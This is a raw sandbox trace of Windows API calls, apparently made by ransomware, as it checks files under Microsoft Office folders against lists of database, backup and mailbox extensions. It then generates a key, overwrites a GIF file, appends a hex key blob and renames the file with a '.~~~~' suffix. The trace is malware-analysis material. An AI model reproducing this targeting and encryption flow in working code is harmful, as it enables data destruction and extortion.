	[0142.417] lstrlenW (lpString=".dacpac") returned 7
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.417] lstrlenW (lpString=".sdf") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".sdf") returned 0x0
	[0142.417] lstrlenW (lpString=".accdb") returned 6
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".accdb") returned 0x0
	[0142.417] lstrlenW (lpString=".DBX") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DBX") returned 0x0
	[0142.417] lstrlenW (lpString=".MDT") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".MDT") returned 0x0
	[0142.417] lstrlenW (lpString=".SQB") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".SQB") returned 0x0
	[0142.417] lstrlenW (lpString=".vhd") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".vhd") returned 0x0
	[0142.417] lstrlenW (lpString=".bac") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".bac") returned 0x0
	[0142.418] lstrlenW (lpString=".mdf") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".mdf") returned 0x0
	[0142.418] lstrlenW (lpString=".BAK") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".BAK") returned 0x0
	[0142.418] lstrlenW (lpString=".BAC") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".BAC") returned 0x0
	[0142.418] lstrlenW (lpString=".dbs") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dbs") returned 0x0
	[0142.418] lstrlenW (lpString=".vhdx") returned 5
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.418] lstrlenW (lpString=".NDF") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".NDF") returned 0x0
	[0142.418] lstrlenW (lpString=".dat") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dat") returned 0x0
	[0142.418] lstrlenW (lpString=".DBS") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DBS") returned 0x0
	[0142.418] lstrlenW (lpString=".CKP") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".CKP") returned 0x0
	[0142.418] lstrlenW (lpString=".edb") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".edb") returned 0x0
	[0142.418] lstrlenW (lpString=".PST") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".PST") returned 0x0
	[0142.418] lstrlenW (lpString=".dbf") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dbf") returned 0x0
	[0142.418] lstrlenW (lpString=".SQL") returned 4
	[0142.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".SQL") returned 0x0
	[0142.418] lstrlenW (lpString=".pst") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".pst") returned 0x0
	[0142.419] lstrlenW (lpString=".dbv") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dbv") returned 0x0
	[0142.419] lstrlenW (lpString=".SDF") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".SDF") returned 0x0
	[0142.419] lstrlenW (lpString=".dtxs") returned 5
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.419] lstrlenW (lpString=".db3") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".db3") returned 0x0
	[0142.419] lstrlenW (lpString=".OST") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".OST") returned 0x0
	[0142.419] lstrlenW (lpString=".dbx") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dbx") returned 0x0
	[0142.419] lstrlenW (lpString=".DB3") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DB3") returned 0x0
	[0142.419] lstrlenW (lpString=".DAT") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DAT") returned 0x0
	[0142.419] lstrlenW (lpString=".VHDX") returned 5
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.419] lstrlenW (lpString=".ndf") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".ndf") returned 0x0
	[0142.419] lstrlenW (lpString=".DB") returned 3
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DB") returned 0x0
	[0142.419] lstrlenW (lpString=".sql") returned 4
	[0142.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".sql") returned 0x0
	[0142.420] lstrlenW (lpString=".MYD") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".MYD") returned 0x0
	[0142.420] lstrlenW (lpString=".DBT") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DBT") returned 0x0
	[0142.420] lstrlenW (lpString=".ACCDB") returned 6
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.420] lstrlenW (lpString=".fdb") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".fdb") returned 0x0
	[0142.420] lstrlenW (lpString=".bak") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".bak") returned 0x0
	[0142.420] lstrlenW (lpString=".myd") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".myd") returned 0x0
	[0142.420] lstrlenW (lpString=".DTXS") returned 5
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.420] lstrlenW (lpString=".ckp") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".ckp") returned 0x0
	[0142.420] lstrlenW (lpString=".dbt") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dbt") returned 0x0
	[0142.420] lstrlenW (lpString=".db") returned 3
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".db") returned 0x0
	[0142.420] lstrlenW (lpString=".TXT") returned 4
	[0142.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".TXT") returned 0x0
	[0142.420] lstrlenW (lpString=".MDF") returned 4
	[0142.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".MDF") returned 0x0
	[0142.421] lstrlenW (lpString=".bdb") returned 4
	[0142.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".bdb") returned 0x0
	[0142.472] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.472] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.473] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.473] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.473] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26246448476) returned 1
	[0142.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe53c8d0, dwHighDateTime=0x1d60e1e)) 
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab30
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9948
	[0142.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9948 | out: hHeap=0x300000) returned 1
	[0142.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.477] GetLastError () returned 0x0
	[0142.478] GetLastError () returned 0x0
	[0142.478] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.478] GetLastError () returned 0x0
	[0142.478] GetLastError () returned 0x0
	[0142.478] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x34cf, lpOverlapped=0x0) returned 1
	[0142.480] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.480] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x34cf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x34cf, lpOverlapped=0x0) returned 1
	[0142.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.480] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.480] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.480] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.480] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.480] CloseHandle (hObject=0x138) returned 1
	[0142.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9be8
	[0142.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif.~~~~")) returned 1
	[0142.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9be8 | out: hHeap=0x300000) returned 1
	[0142.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.517] GetLastError () returned 0x0
	[0142.517] RtlWakeConditionVariable () returned 0x365f70
	[0142.517] GetCurrentThreadId () returned 0x9f4
	[0142.517] GetCurrentThreadId () returned 0x9f4
	[0142.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9d38 | out: hHeap=0x300000) returned 1
	[0142.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa88 | out: hHeap=0x300000) returned 1
	[0142.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9d38
	[0142.518] lstrlenW (lpString=".scr") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".scr") returned 0x0
	[0142.518] lstrlenW (lpString=".cmd") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".cmd") returned 0x0
	[0142.518] lstrlenW (lpString=".dll") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dll") returned 0x0
	[0142.518] lstrlenW (lpString=".bat") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".bat") returned 0x0
	[0142.518] lstrlenW (lpString=".cpl") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".cpl") returned 0x0
	[0142.518] lstrlenW (lpString=".sys") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".sys") returned 0x0
	[0142.518] lstrlenW (lpString=".msc") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".msc") returned 0x0
	[0142.518] lstrlenW (lpString=".com") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".com") returned 0x0
	[0142.518] lstrlenW (lpString=".lnk") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".lnk") returned 0x0
	[0142.518] lstrlenW (lpString=".msp") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".msp") returned 0x0
	[0142.518] lstrlenW (lpString=".pif") returned 4
	[0142.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".pif") returned 0x0
	[0142.518] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.554] lstrlenW (lpString=".sqb") returned 4
	[0142.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".sqb") returned 0x0
	[0142.554] lstrlenW (lpString=".ost") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".ost") returned 0x0
	[0142.555] lstrlenW (lpString=".txt") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".txt") returned 0x0
	[0142.555] lstrlenW (lpString=".mdt") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".mdt") returned 0x0
	[0142.555] lstrlenW (lpString=".BDB") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".BDB") returned 0x0
	[0142.555] lstrlenW (lpString=".eql") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".eql") returned 0x0
	[0142.555] lstrlenW (lpString=".DBF") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DBF") returned 0x0
	[0142.555] lstrlenW (lpString=".EQL") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".EQL") returned 0x0
	[0142.555] lstrlenW (lpString=".FDB") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".FDB") returned 0x0
	[0142.555] lstrlenW (lpString=".EDB") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".EDB") returned 0x0
	[0142.555] lstrlenW (lpString=".DACPAC") returned 7
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.555] lstrlenW (lpString=".VHD") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".VHD") returned 0x0
	[0142.555] lstrlenW (lpString=".DBV") returned 4
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DBV") returned 0x0
	[0142.555] lstrlenW (lpString=".dacpac") returned 7
	[0142.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.556] lstrlenW (lpString=".sdf") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".sdf") returned 0x0
	[0142.556] lstrlenW (lpString=".accdb") returned 6
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".accdb") returned 0x0
	[0142.556] lstrlenW (lpString=".DBX") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DBX") returned 0x0
	[0142.556] lstrlenW (lpString=".MDT") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".MDT") returned 0x0
	[0142.556] lstrlenW (lpString=".SQB") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".SQB") returned 0x0
	[0142.556] lstrlenW (lpString=".vhd") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".vhd") returned 0x0
	[0142.556] lstrlenW (lpString=".bac") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".bac") returned 0x0
	[0142.556] lstrlenW (lpString=".mdf") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".mdf") returned 0x0
	[0142.556] lstrlenW (lpString=".BAK") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".BAK") returned 0x0
	[0142.556] lstrlenW (lpString=".BAC") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".BAC") returned 0x0
	[0142.556] lstrlenW (lpString=".dbs") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dbs") returned 0x0
	[0142.556] lstrlenW (lpString=".vhdx") returned 5
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.556] lstrlenW (lpString=".NDF") returned 4
	[0142.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".NDF") returned 0x0
	[0142.557] lstrlenW (lpString=".dat") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".dat") returned 0x0
	[0142.557] lstrlenW (lpString=".DBS") returned 4
	[0142.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF", lpSrch=".DBS") returned 0x0
	[0142.557] lstrlenW (lpString=".CKP") returned 4
